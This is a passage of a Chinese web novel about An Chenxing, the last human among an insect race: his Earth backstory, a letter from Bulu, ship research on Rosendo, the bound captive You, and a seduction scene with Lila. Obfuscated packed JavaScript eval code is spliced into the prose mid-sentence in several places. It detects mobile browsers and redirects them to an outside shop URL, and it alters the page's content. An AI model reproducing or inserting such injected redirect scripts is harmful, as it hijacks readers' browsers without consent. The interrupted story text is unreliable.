金发雌虫无声换了几口气，再开口时音色淡淡，“最后一次围剿是在什么时候？” 机械喵喵即答，“主星历1月15号。” “哪一年？” 机械喵喵变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“您以前也问过喵喵同样的问题，安先生姓安名辰星，‘先生’只是安先生设定的一个称谓，类似于‘阁下’。” 莱伽斯想起那只异眼雄虫的脸，竟不知觉地问出，“我和安辰星接触过多少次？” 然而机械喵喵似乎害羞了，声音又带着点小兴奋，“这个……这个您应该是最清楚啦……安先生都不怎么让喵喵记录这些的……喵喵只知道在实验室里的次数，大概6……” 机械喵喵说到这，突然开始卡顿起来，“6…6…66…6…66…6…66……警告！电磁不足！请及时连接磁感装置！警告！电磁不足！请及时连接磁感装置！” 后面的两句话又变成了莱伽斯听不懂的语言，与智能机械“虫”刚启动时说的那些话好似是有大半相同。 不过这会莱伽斯倒是能大概猜出其中的意思了。 显然，阶跃已经开始，而第一总指也彻底远离了那颗辐射磁星。 佐·莱伽斯很谨慎，直到智能机械“虫”完全安静下来，成为一个平平无奇的怪异装饰品，他才放心地离开实验室。 实验室的门自动锁上。 莱伽斯又回头看了一眼，琥珀色的眸子泛着静谧的冷光和说不清的复杂。 虫族三理第一条：时间永不逆。 安辰星，或者安先生，传说级阁下。 你，［逆理］了。 逆理为罪。 22. 往事之痕 如果人类文明到了终点，那么最该保留的是什么？ 是科技、是历史、还是人类本身？ 即便熵增时代大脑容量进一步扩容，但人类单体还是难以乘载文明发展至今的全部信息。 所以一个人代表不了一个种族，何况生命长度有限，选择保留人本身，便有着巨大的文明陨落的风险。 要想了解安辰星是一个怎么样的人，就得追溯他的过往。 他生于37世纪末熵增时代晚期，同时也是人类派系争斗得最剧烈的时期。 从祖辈算起，安辰星属于第三代进化人类。 他祖父的工作与地球地质相关，是第一批被前政府列入重点保护名单，且扛过前期太阳磁暴以及核辐射的少数幸运人类之一。 他祖母是政界家庭出生，虽然也收到了前政府一定程度的保护，但还是没有挨过大脑扩容和身体进化的痛苦，最终生下安父没多久就撒手人寰了。 安辰星的外祖父是于米国航空航天局工作的华裔研究员，也是当初首批发现并预告恒星环境即将恶化的团队组员之一。 他的外祖母是理论医学的研究学者，对人类进化提出过多个猜想，并被临床医学的学者一一证实成功。 时间再往后走，太阳进一步狂暴，人类更大规模死亡和进化，各大政府无力抵抗危机纷纷解体，人类彻底摒除国界与地界的观念，开始大规模地迁徙。 为躲避太阳的直接辐射，他们远离低纬度地区，夏季南下至南极洲，冬季北上至北欧大陆，选择开船到北冰洋飘荡的也不计其数，只是由太阳引力引起的剧烈潮汐或许哪一天就会将他们覆灭。 很可笑可悲，那时的人类向往太阳，却只敢躲入极夜。 只有漫长的无尽的黑暗深渊。 求存、享乐、挣扎、沉醉。 家庭消亡、前途渺茫、无人可信。 法律已死，各种派系为王称霸。 而第二代进化人类，安父和安母就邂逅在南极地区，还奇迹般地坠入了爱河。 安父按部就班地接替了其父亲的地质研究事业，在前政府倒台后，他被老牌[太空远洋派]招揽，研究方向逐渐往其他行星拓展，探寻可能满足人类搬迁条件的星球。 安母早年受其父其母的影响，是[太空远洋派]和[究极进化派]的坚定践行者，后期随着人类数量不足以达到庞大的进化规模，[究极进化派]逐步衰落，她便开始将心力投入到新兴派别[意识永恒派]里，完善意识提取的基础理论。 由于两人的光环是如此的耀眼令人钦佩，所以安辰星的出生是备受各方瞩目的。 人类进化到了第三代，躯体基本上对不稳定磁场和干扰风暴有了完全的抗性，他们更加聪慧，能够在短期内学习海量的信息。同时他们困惑与忧虑，不知道如何体现与找寻自我，生活的意义又是什么。 那是秩序缺失崩盘下不可避免的观念倒塌。 新生代只是到处听、到处看、到处模仿。 于是他们享乐、他们斗争、他们研究。 安辰星要再特殊一点。 他受过父母言传身教的教育，看过周围人腐朽极乐的生活。 十六岁那年庆生，安辰星收到父母赠送的一只白色陶瓷招财猫，感到新奇和喜悦，“这是猫型，我看过一些相关记录，它真的很可爱，如果没有灭绝的话真想亲手抚摸看看。” “你喜欢就好。”父母纷纷一笑。 安母想起了什么，和蔼地说，“我记得研究所冷冻馆冻结了35只智能时代的猫科动物，如果以后恒星环境有所改善，顺利解冻培育出部分，或许你可以养上一只。” 安辰星点点头，看向太空所和研究所联合特制的蛋糕，又忽然问，“你们的诉求是什么？” 等父母面面相觑又看回自己，安辰星轻声表达心中疑惑，“我感觉我们家和其他家很不一样，但又似乎没什么差别，无论是我乘坐詹姆斯A6号飞向深空，还是换上消毒服进入实验室，还是玩弄权术将李辉义打压出话事组，还是混迹在各色美人之间日夜缠绵，你们都未表示出支持或者反对，就好像我做什么你们都不会阻拦。” 明白了他要表达的意思，安母说道，“你是我们的孩子，我们能给你的，能教会你的，都已经传达给你了。你如此聪明，早有自己的一套判断，无需我们说得太多。” 安辰星又看了眼蛋糕，视线坚定道，“我很感激你们的慈爱与纵容，我是想回报你们的，所以我想知道你们的诉求是什么，无论是探险还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13058257|137607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 研究，还是站上权力顶点，我都会为你们做。” 对于孩子单纯又猖狂的言论，安父不由笑了一下，摇头说，“我们相信你可以，可是你要知道我们只是爱你，不会左右你的人生。” 安父继续说，“我和你母亲本来想过段时间再跟你谈论这件事，不过今天既然起了头，那便今天说吧，辰星，你知道你现在最需要的是什么吗？” “是什么？” 安父关爱地说，“是身份归属，是信念支撑，你没有找到能让你坚信的东西，所以你需要构造一个。在你祖父或者曾祖父的时代，那可以是家庭，可以是生活，可以是爱情。” 安辰星不理解，“那是否真的重要？难道你们不可以是我的支撑吗？” “我们不能，我们总有一天会死去，无法成为你一生的信念。”安母答道，“生活也不能，这种动荡的生活会让你沮丧。爱情也不能，你绝非那种让自己沉溺其中的人。” “那什么可以？” “人类，种族存亡。” “你之一代，是注定扛起人类命运的一代，如果你将之作为信念，与之共存亡共进退，一定能打消你所有的疑虑与不安。” 安辰星想了一下，否定了，“我不行，事实上我现在就在怀疑，大多数人类自私丑陋，怯懦胆小，我为什么要将他们作为信念？何况现在人口仅剩六亿，距离文明结束大概不会超过一个世纪。” “是，人类看似确实不值得信赖也不值得你奋斗终生，但你需要一个浩大的概念支撑你的信仰，否则你会感到孤独。” 安辰星说，“我明白您的意思，可我无法将这个末世降临还在互相啃咬的种族作为自己的信念，哪怕我是其中的一员，我也说服不了自己。” “孩子，我们打个赌吧。”安父问道，“如果人类最终走到了一起，你愿意改变你的想法吗？” 安辰星不假思索，“他们不可能，他们就是那样的一群人，这是写在基因里的劣根性。” “人类的光辉也是写在基因里的。” “好，既然您都这么说了，那我就和您打赌。如果人类能重新拥抱，那么我的未来、我的热爱、我的信念、我的全部，将属于全人类。” 安辰星说完，吹灭了生日蜡烛。 23. 远方来信 费米德星区，第一娱乐星，月夜殿堂。 安辰星送走音里后，在阳台外凝视了一会后院的景色，然后如期等到了来自布鲁的纠缠仪信息。 纠缠仪的功能远没有纠缠网便捷，不能实现实时转码。所以安辰星只能先将那几条无法阅读的紧凑信息一比一导入自己的智脑，再通过时空跨度转码软件，将其时宽拉长至122倍。 然后他终于可以看清布鲁的来信。 【辰星，见信安。 我已到E86特研星并在此生活了一个星期。 这里没有主星繁华，亦不如费米德舒适，甚至可以说是荒芜而寂寥，可是我喜欢这里给我的感觉，似乎连风都散发着舒心的气味。】 【我见到凯特文了，感谢虫神，他还处于适龄期，也和我记忆中的一样，傻气又笨拙。 有时我真怀疑他是一个假冒的权限者，见到我竟然连话都不会说，半天就只憋出了一个“您”字。】 安辰星看到这里，唇角不自觉溢出一丝笑意。 【我悄悄帮你询问了造雄计划的情况，确实如你推测的那样，42个基地，合计2751批次实验均以失败告终。 凯特文还说，其实实验到了后期大家心里都门清是不可能成功的了，只是那会主星联邦还没叫停，谁也不敢贸然停下。好在联邦内部还是有明事理的，知道死磕不可取。】 【而你指名要我打探的33号基地实验的2719批次造虫，一开始凯特文还迫于权限者的保密规定不好透露给我，被我软磨硬泡几个小时后总算是交代了。 感谢我吧，一共有四只造虫，目前全都已经于中止之日被集中销毁。 给你发了图片，储量比较大，我这纠缠仪编码了很久。】 安辰星往下翻，看到四条文字乱码消息。 他用转图软件进行解码，不一会，四只造虫的模样清晰可见。 原本2719批次的造虫有五位。 但现在少了“安辰星”。 他从存在上完全消失了。 这说明了宇宙符合单一时空论，可是悖论的问题又该怎么解决呢。 安辰星想起了星辰号。 如果造虫安辰星的存在被这个世界抹去，那制造星辰号的所有材料是否也同样消失了呢？ 看来他有必要去一趟罗森多星。 可怎么说服莱伽斯呢？ 安辰星接着往下看。 【给你发这些信息的时候，第一总指的军舰已经顺利对接了除凯特文以外的所有权限者，踏上了返程之路，预计几个星时就能抵达主星联邦。 不过我猜第一总指是不会错过这个难得可以向科学权限者献殷勤的机会，他们大概率是会在费米德举行狂欢宴会的，所以你今晚最好是留在房间里不要出来，以防暴露特等身份。】 莱伽斯的野心还真是虫尽皆知。安辰星不由在心中想道。 【对了，佐·莱伽斯给我和凯特文留了一位叫欧洛维的二S级雌虫，说是让他过几天把我们秘密转移到更安全合适的地方，我原先还挺怀疑的，他哪里会那么好心，后来才知道原来是你的主意。 自从我们认识之后，三番两次都是你在帮我。 谢谢你辰星，你真的很够兄弟。】 欧洛维吗？安辰星回忆了一下，那虫确实没有联邦背景，行事也算靠谱。 视线继续向下移，看见内容后，安辰星失笑出声。 【不过有个问题我还挺纳闷的。 凯特文说他压根就不认识你啊。】 ———— 安辰星如今还能清楚地记得，自己当初在罗森多S63晶矿区的生活。 那也是除了E86特研星之外，唯一算得上是比较安稳的一段日子。 这个星球虽然处于主星区区域，但其恒星的聚变程度很低，常年昏暗积雪，条件困苦。 所以当两只前辈虫看见竟然有傻虫主动申请来到这里，都不免对安辰星感到佩服，“圈圈兽。” 用圈圈兽形容一只虫，就是代表又傻又莽的意思，安辰星笑了笑，说，“没有办法，这里有可可果。” 他这弯眼一笑，瞬时让一号前辈虫愣了一下，“亚雌长这样？这么邪门？吃什么长大的？” 二号前辈虫也嘀咕，“眼睛怎么回事？艹，阁下见了肯定喜欢啊！异色眼！这么会长！不会是特意用了感染源吧？” 知道他们在开玩笑，安辰星装作无奈地摇了摇头，“长得好看没有用，没做出成绩拿什么泡阁下？” “这么有志气？！”一号前辈虫目瞪口呆。 “没事，以后我们罩你了。”二号前辈虫拍拍胸脯。 安辰星默默将手伸进口袋，碰了碰坎贝尔阁下的遗物，然后直入主题，“好的前辈们，先让我看看S63晶矿的往期研究成果吧。” 多日之后，研究室内。 一次往常的三虫饭局。 一号前辈虫喝咕噜酒喝上头了，拍着安辰星的肩膀开始吹水，“你！辰星·亚玛！好样的！我在罗森多研究S63那么多年，无数新人来来去去，愣是没有一个能留下的。原先看你嫩得跟雄虫似的，猜你没几天就跑了，没想到这么耐干，研究热情都赶上我们了哈哈哈哈……” 安辰星抿了一口小酒，心不在焉地说，“您醉了。” 他没法说，在这里的感觉甚至比在E86还要让他感到熟悉。 仿佛就好像仍在地球一样。 那极高的纬度，那惨淡的日照，那终年寒冷的人类基地。 “我醉了吗？”一号前辈虫迷糊地问二号前辈虫。 “不醉你能问出这种问题吗？”二号前辈虫酒量倒是挺好，他一边夹菜一边看向安辰星，怎的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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安辰星抛出第二个论点，“其次，实现空间阶跃的造舰材料必须是A序列及以上材料，也就是要具备高硬度高强度的性质，然而硬度强度过高，反而容易因为其收缩性上的不足出现各种不可测的损耗，所以每次[空间阶跃]后的自检程序也无法规避。” 安辰星笑笑，意味深长地问，“如今我们有了S63，为什么不试试[多次连续阶跃]呢？” “！”两位前辈齐齐深吸一气。 S63晶矿排在S序列其硬度强度自不必说，更重要的是它同时具备了延展性和弹性啊！ 一号前辈虫当即骂了一声“艹”，说，“他雌父的！我们干了！” 二号前辈虫恍惚得如在梦里，“真成功的话，那可是要发达了啊……” 24. 权级高低 傍晚时分，承载了将近200位E86权限者的第一总指舰群，顺利开进费米德星区第一娱乐星的军舰岛。 安辰星在阳台外站了许久，直到夜幕降临，天上那一轮浩大的虫造月被隆重点亮时，他才走出自己的房间，并敲响了雄虫璃拉的房门。 “谁？” “我，辰星·亚玛。” 屋内的璃拉原本想让来虫直接回去，但在听到安辰星略带调侃的自称后，硬是没能说出口。 他问道，“……什么事？” “聊聊。” “我跟你没什么好聊的。” “不跟我聊跟谁聊？音里吗？” “你管我，你又懂我什么？” 安辰星在门外安静下来，然后故意来回走几步冒充自己已经离开的假象。 璃拉听了一会没再听到其他动静，悠悠转头看向门的方向，他犹豫片刻，起身走到门前，开门看看那虫是不是真的走了。 结果门一开就“啪”一下被安辰星一只手给扣住了，璃拉顿时心中一惊，又瞧见黑发雄虫显露身形，脸上浅浅笑着，一双异色眼瞳美得让虫心生妒忌。 “你干什么！”银发雄虫瞪大了双眼，气得脸颊微红。 黑发雄虫还是笑，却莫名问道，“莱伽斯有跟你发什么消息吗？” “他？没有啊。”银发雄虫被忽然打了岔，好像又没那么气了。 黑发雄虫当即打了个响指，貌似心情不错，“那便行，我回去了。” “啊？”银发雄虫不明所以，目送黑发雄虫离去。 上一世，第一总指为了营造出取得E86全体科学权限者站队支持的假象，不仅以［逆理］的秘密为要挟，还安排雄虫璃拉使出一招美虫计给足了甜头，最后让安辰星老老实实站了队，不可谓不高明。 安辰星原本决定，如果今天璃拉接到了类似上次的“任务”，他就将莱伽斯约出来好好谈谈。 不过如今看来是没有这个必要了。 很明显，这一世的E86权限者中，并没有出现一个类似“安辰星”这种能够凝聚整个特研星力量的虫。所以第一总指即便是空有劲也没处使，只能好吃好喝招待一番，再发点阁下接触卡，搏一点基础好感就过了。 ———— 主星，圣彼西科首序殿。 至高层。 奢华至极的瓷砖走道上，两位历史院天文部文明权限者不由面露敬畏。 无他，守卫军雌太多了。 比第一层翻了十倍有余。 “这边。”一只安全部的接应虫走到他们面前。 “您好。”两只权限者礼节性地问好。 不过接应虫态度倒是差了很多，严肃着脸沉声说道，“跟我走。” 他一边带路，一边开始交代道，“我长话短说，而且只说一遍，你们一定记好，否则后果自负。” “一，不得以任何理由任何目的触碰到阁下。二，不得询问与工作无关的事情，不得重复询问相同的问题。三，不得出言冒犯阁下，不得催促阁下，不得打断阁下，不得质疑阁下。四，询问完阁下后安全部会将你们暂时关押，等监控组审查完毕确认无误后方能释放，时间在4星时至36星时不等。五，本次对话由联邦序列第二序审批，故解释权最终归联邦所有，如果对话过程中联邦一方判断不宜继续，有权随时中止此次对话。六，安全部全体守卫军雌对阁下直接负责，如果他们判断阁下感到不愉，有权对你们进行合理攻击。七……” 对于接应虫的那仿佛没有尽头的注意事项，天文部的两只权限虫不约而同地对视一眼，然后心照不宣收回视线。 这能叫长话短说？ 似乎是念到第三十几条的时候，接应虫总算是说完了，“最后，不得同情阁下，不得恋慕阁下，不得营救阁下。” “明白。”两只权限者一脸正经地点头表示接受，也不知实际记住了多少，不过总算是交接完毕了。 看出他们的心不在焉，接应虫心中嗤笑，指向不远处如金丝牢笼般结实贵重的房门，说，“阁下就在里面，本周负责贴身侍奉的安全虫名为劳伦生·沃兹，其他隐藏在暗处的守卫安全虫也有21只。他们都已悉知今日历史院权限虫的对话时间，你们不用担心，过去直接敲门就好了。” 天文部两虫闻言既紧张又兴奋。 传说级阁下啊…… 听说这位阁下以前还是大家族莱伽斯出身，不过进入圣彼西科成为联邦雄虫的阁下，一律都不再拥有姓氏。 开门雌虫的气质是实打实的安全部军雌，目光不善，神色冷凝，不过开口还倒挺礼貌，“请进，我是劳伦生·沃兹，佑阁下已经准备好了。” 劳伦生心底确实挺不欢迎这帮虫的，从前天开始，佑阁下就频繁感到身体不适，食不下咽，应激犯恶。他是真不希望这时候还有虫来打搅阁下的调养。 天文部两虫正琢磨着劳伦斯那句“准备好了”是什么意思，就看见用眼带蒙着眼，被束缚衣和弹绳固定在华丽椅子上的传说级阁下——佑。 两虫又看见桌面上泡在护理剂中的口塞，一时间，打了无数次草稿的各种问安话语，都不知要如何说出口了。 什么您是如此的高贵美丽。 什么看见您就如同沐浴在虫神怀抱里。 ……太天真了。 可是，确实合理。 他们身为排进联邦历史总院前20序列的文明权限者，比绝大多数的虫都要清楚传说级阁下的恐怖之处。 根据遗失纪史料记载，一位传说级阁下可以轻松操控数量过百的同阶雌虫，而神奇的［特能］更是他们无往不利，所向披靡的利器。 传说级阁下大多残忍而暴虐，他们一边凌.辱雌虫践踏雌虫，一边又用精神力和信息素让雌虫欲.仙.欲.死难以逃离，如此循环往复毫无怜悯之心，犹如修罗虫间地狱。 于是绝望的雌虫大叛乱轰然爆发。 那时没有虫能料到，这场可怕的相互杀戮持续了近千年，传说级阁下威能太过强大，且总有甘愿匍匐于他们脚下的杀不完的忠雌。 直到第七代叛乱雌虫付出几乎等同于同归于尽的惨痛代价，生生挖下最后一位传说级阁下的雄核，宣告战争惨胜。 然而他们期待的光明并没有到来，无数顶级雌虫得不到疏解安慰纷纷死在渴求期和精神力暴.乱之中，各种辉煌的技术和文明大量丢失…… 这便是遗失纪末期，也称为反噬时期，其中很多细节已不可考，但虫族从此整体科技与等级的退化是可以确定的。 “呵。”金发阁下一声轻笑，将两只天文虫的思绪拉回。 “阁下，您好。”其中一只权限虫连忙尊敬地开口，“让您见笑了，我们本次来是想询问一件难以解释的事情，这是两张星空摄图……” 佑出声打断，“劳伦生，去拿过来，讲给我听。” “是。”劳伦斯上前拿过图片回到佑的身边，自行看了一会说，“两张全景星系图，很相似。” “很好。”佑点头，没再说话。 那权限虫见状急忙插话，“阁下，请原谅我的无礼，这两张图虽然十分相似，但后来拍的那张显示黑洞周围的一圈星球全都消失不见了，我们想知道那是为什么……” “嗯，你确实很无礼。”佑音色有些冷淡。 劳伦生立即激活自身虫纹力量，准备当场给眼前的这只无礼虫一个教训。 另一只权限虫见状连忙“扑通”一声跪下，虽然明知阁下也看不见，求情道，“阁下，请您宽恕，他只是一时心急，忧心您被侍奉虫误导，没有得到完整的信息……” 佑抬了抬手，示意劳伦生别动手，又问求情虫，“你们怎么就确定你们不会误导我？” “我们？”两位权限虫微愣。 佑淡淡反问，“为什么就是星球消失了？” 两位权限虫没明白他的问题，不敢贸然答话。 “如果一个无限空间只有我和你，再没有其他，你只能以你自身为参照物。那么某一时刻，你发现我的状态改变了，那为何就不能其实是你自己的状态改变了呢？” “不，”一只权限虫犯了职业习惯，下意识去争论，“不会的阁下，那可是整个星系啊，整个星系都是参照物啊！” 另一只权限虫心道不好。 果然，佑轻皱眉梢，冷淡道，“我已没了兴致，劳伦生，送客。” 很不客气地将虫赶走后，劳伦生走回到阁下的身边，脸上恢复了顺服，“阁下，即便那虫惹您生气，按照规矩您也无权擅自结束对话，但完全可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13058259|137607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以让我把他们揍一顿……” 只有联邦主厦那边才有对话中止权。 佑唇线抿直，仿佛仍在不悦，“我知道，可这种情况已经不是第一次，若是想让我配合对话，下次就找懂得谦逊的虫来吧。” 然而，这全是佑装出来的。 如果这场对话他什么都不表示，反而容易引起各方怀疑，而现在这样就恰到好处。 安先生，可惜［时逆］的权级次于黑洞。 已经被吸入的行星无法进行归位，否则您连这一个破绽都不会留下。 好在，我们的权级持平。 您能将我逆回，我能发动［全知］记起您过去的一切。 这一世，您在我死之前便知晓了我的存在，一定会找机会来见我的吧。 来接我吧，我为您感知到了地球未感染人类如今的据点。 我很有用。 比雌兄，比第一总指，比璃拉·亚玛那婊子有用多了。 来找我，看看我。 我比雌兄漂亮，比他听话。 绝望之际，我为您的故事无数次沉沦。 是您救了我。 您能爱人类，爱虫族。 也爱爱我。 ———— 安辰星回到自己房间后不久，莱伽斯居然来了。 权限者们都在晚宴上，此时应该是莱伽斯最走不开的时候，怎么就突然来了呢？ 金发雌虫表情无异，公事公办跟他汇报情况，“罗森多星的那两位权限者我让虫去谈了，他们看了你的半条公式，没有多想就同意了招揽，还说希望找一个时间跟你见上一面，说说那公式的事。” “哦。”安辰星观察了雌虫一下，总觉得哪不太对劲，“谢谢，也不用那么急，你先忙你的吧。” “嗯，阁下布鲁转移远行星的事，我叫第一总指第五序列去做了，他没有联邦家族背景，是我以前在安全部时的旧部，值得信任。” 安辰星反射性皱一下眉，果然很不对劲。 话变多了。 莱伽斯对他的警惕与戒备完全消失了？ 为什么？ 难道是因为自己上次说了会帮他？ 不会，佐·莱伽斯从不轻易信任一只虫。 似乎察觉到雄虫的疑惑，莱伽斯的声音生硬了一些，“你知道佑的事情吧，我之前和他隐晦交流过，他暗示你可以信任，所以我愿意配合你。” 安辰星垂下眼睑略微思索。 这个解释倒也说得通，毕竟莱伽斯这虫无利不起早，估计现在也是和前世一样，着急那［多次阶跃技术］，才忽然那么好说话。 于是安辰星顺势提道，“可以的话，我想亲自去一趟罗森多星，它在主星区域，并非雄虫禁行地带，而且我目前还处于微弱状态的精神力场，戴上面具伪装成一只中低等雄虫完全没问题，如果你还是不放心，可以找虫看……” “好。”莱伽斯没有迟疑，“我会让首席璃拉给你找一个合适的顶替身份，你想什么时候出发？” “……”安辰星又一次看向他，目光有些一言难尽。 好怪。不习惯。 “那……明天？” “好，还有什么要做的事情吗？” “暂时没有了。”安辰星说完，又想了一下，觉得莱伽斯今天那么好说话，难保不是一次性的，就该多提点要求。 “对了，多次阶跃技术弄出来之后，我还会出台一款适用于雄虫使用的星舰，并让璃拉参与我方物资的筹备事宜，虽然我现在还没来得及跟他说，但他大体是不会拒绝的。我可以保证他将给第一总指创造出远超现在两个数量级的价值。” 莱伽斯十分耐心地听完，只问了两个字，“所以？” 安辰星提出条件，“别再让他做任何违背他意愿的接触任务。” 莱伽斯陷入犹豫。 即阁下布鲁之后，这只雄虫又开始计划放生第二只高等了？ 不过莱伽斯最终还是答应了雄虫，“好。” 反正没有赔本，没关系的，就当卖一个虫情。 雌虫心想。 安辰星却心中惶惶，直觉地感到一丝焦虑。 他最后确认道，“你这一路没有遇上什么事吧？” “没有。” 25. 安能辨我 罗森多星，前世某个平常的一天。 安辰星和两位前辈虫成功为一艘战舰搭建了多次连续阶跃技术，但是还没有进行太空运行。 “这可是跨时代的壮举啊。”一号前辈虫兴奋至极，说，“我们上报主星，一定很多军雌都抢着要帮我们试乘。” “也不一定，”二号前辈虫反驳地有理有据，“多次阶跃啊，一失误就找不着雌父了，再想试也得先留着一条命吧。” “真成功就出名了，谁不想要这个虫族首次连续阶跃的名头，重利之下必有勇雌。” 安辰星觉得两位前辈说得都有道理，说，“我们先上报吧，愿者自来。” 告示在主星公表不出半日，响应试乘的部门便接踵而至，甚至比一号前辈虫想象的数量还要多得多。不但囊括了联邦下设三大指挥部，就连其他主星的大家族，甚至是老牌的传统家族都想上来掺和一脚。 于是又轮到安辰星三虫苦恼了，这个虫情卖给谁好呢…… 然而他们并没有机会苦恼太久。 因为当天下午，璃拉·亚玛在第一总指几位军雌的互送下，前往罗森多星看望安辰星了！ 即使距离上次月下相见已经过去了三个多月，安辰星对眼前的银发雄虫还是相当有印象。 不过这一次他当场就猜出了对方的来意——为第一总指拿下试乘权。 试乘权重要归重要，但能不能成功还未可知，远不到需要如此大张旗鼓的程度。 第一总指真实的目的是想通过拿下试乘权这件事情，进一步彰显己方与安辰星的“盟友”关系，进而去“威慑”什么势力。 当美丽的银发阁下微笑说出自己名为璃拉·亚玛的时候，一号前辈虫立刻一脸地痛心疾首，狠狠捶着安辰星的背哀嚎道，“你小子！你小子！原来是有主了！” 二号前辈虫也不甘示弱，胳膊一张就把安辰星的脖颈牢牢锁住了，“靠靠靠！难怪你一直对雄虫一副不感兴趣的模样！原来已经被喂饱了啊啊！？艹啊！龟龟树竟是我自己！” “咳！咳！”安辰星应激性地咳了两声，无奈地开口求饶道，“两位前辈请息怒啊……我纯洁！保证纯洁！我连阁下的小手都没摸过呢！” 见此情形，银发阁下眯眼轻笑，优雅地抬手掩住唇部，“辰星说的都是真的。” 辰星？叫得这么亲近！没做过谁信啊？ 不过连阁下都发话了，两位前辈虫便苦大仇深地放过了这个赢家后辈。 安辰星终于解脱，他轻咳两声适应，又动手整理了一下凌乱的领口，才对阁下礼貌笑笑，“阁下，您想在这里歇息片刻吗？如果想的话，我立马将我的两位前辈轰出去！” “有没有虫性。”一号前辈虫吐槽。 二号前辈虫摊手耸肩，“看吧，阁下一来，咱们辰星都不孝顺了。” 银发阁下似乎又被逗笑，“前辈们就留在这里吧，我来时发现这个星球好特别，辰星，你可以带我出去逛一下吗？” 安辰星自然不会拒绝，不过他先说了句“稍等”，便回了自己的房间。 再出来时，他手中提着一件厚厚的米色风衣，主动走过来给美貌的雄虫披上，声音温柔，“罗森多气温低下，我看您穿得少，可别冻着了。” “谢谢。”银发雄虫脸上微微羞涩。 两虫并肩走出研究所，安辰星简单和雄虫说了说关于这个星球的环境成因，“恒星太年轻，聚变反应跟不上，于是终年寒冷昏暗。不过生命是顽强的，尤其是这里的植被……不，应该说正是因为它们诞生于这里，所以这里对它们来说反而是最适宜的。” 真的很冷。银发雄虫收紧了身上的风衣，“你在这里会不会不习惯？” 安辰星无所谓地笑笑，“我还待过更恶劣的地方呢，那时我和其他……虫真是巴不得能够找到像罗森多这样‘友好’的星球。” 恶劣的地方吗……璃拉·亚玛不禁想起了自己在黑星的经历，他低低问道，“那，你去特研星球之前，是做什么的？” 安辰星脚步顿了顿，继续往前走，“阁下，都是往事了，我怕惊扰了您的耳朵。” 银发雄虫垂下眼帘，轻轻“嗯”了一声，不再追问。 呵，好奇这个做什么呢，该办正事了。 ““那次……”银发雄虫好似有点羞涩，声音挠心，“那次你回科学院之后，我一直记得你，还和苏格兰副官问过你的消息，想去看看你……可惜他说你自己申请调走了……” 安辰星点头，“是的，我对这里存在的一种晶矿很感兴趣。” 雄虫的语气带上一丝崇拜，“你真的好厉害，我听苏格兰副官说了，如果连续阶跃技术能够试乘成功，联邦肯定会大力奖赏你的吧。” 美“人”在前，安辰星并不是很想谦虚，但多少还是克制了一些，“是啊，不瞒阁下，对于试乘结果，我和两位前辈都比较看好。” 不过安辰星其实也志不在此。 如果哪天可以摆脱来自第一总指的威胁，他想要转去历史院，寻找人类文明的线索。 两虫又无言走了一段路。 天空忽然下起雪来。 “真难得。”安辰星有种恍如隔世的感觉。 在看见雄虫投来的不解目光后，他温和地解释道，“罗森多虽然冷，但因为是陆地星，液体储备很低，极少有下雪下雨的时候，我来这里三个多月也只遇到过两次，一次是半夜想起过往的时候，一次是这次，阁下真是我的幸运虫。” “为什么这么说？你喜欢雪吗？它不冷吗？” “它冷，但它让我感到熟悉，所以我是向往的。”安辰星回答。 “你的想法真特别。”璃拉·亚玛小声附和，心里想着如何把话题慢慢引回到试乘权上。 结果就听到亚雌说，“对了阁下，您今日的来访原因我已经明白，晚些我会说服两位前辈将试乘权定给第一总指的，您请放心就好。难得出来放松一下，您可不要忧心忡忡。” 又是这样！你是真的，无欲无求？ 璃拉·亚玛满心怀疑反感，他停下脚步站在原地。 安辰星走出两步感觉雄虫没跟上，回头望去，只见银发雄虫在雪中孤单地站立着，雪花粘在发梢上，粘在米色的风衣上，有的融化了有的还没有。 貌美的雄虫像是受了心伤，视线楚楚可怜的，“刚刚，那两前辈说你对雄虫不感兴趣，是真的吗？” 安辰星对这种眼神有点没辙，“……不是。” “是我不美吗？” “美。” “你不喜欢？” “喜欢。” “那你为什么不碰？” 银发雄虫目光变得灼热起来，他向前踏下两步，与亚雌靠得极近，又牵起亚雌的一只手摸向自己白皙无垢的脸，“你是想碰的吧，就像这样……” “阁下。”安辰星不由喉结动了动，下.身当即起了反应，任谁也受不住这样的勾引，“您不要这样。” “为什么不要？你们雌虫，可以掌联邦权限位，可以获得联邦贡献奖赏额，当然也可以碰雄虫。你这么厉害，即便是等级不外显，也有足够的资本碰我这种高等雄虫……第一总指一连两次把我送来你这，你又在给我装什么呢？” 看见雄虫眼底藏不住的厌恶，安辰星轻轻一叹，将雄虫拥入怀中。 以为亚雌终于露出真面目，璃拉·亚玛心中升起一股果然如此的反胃与鄙夷。 看吧，装不下去了吧。贱货。 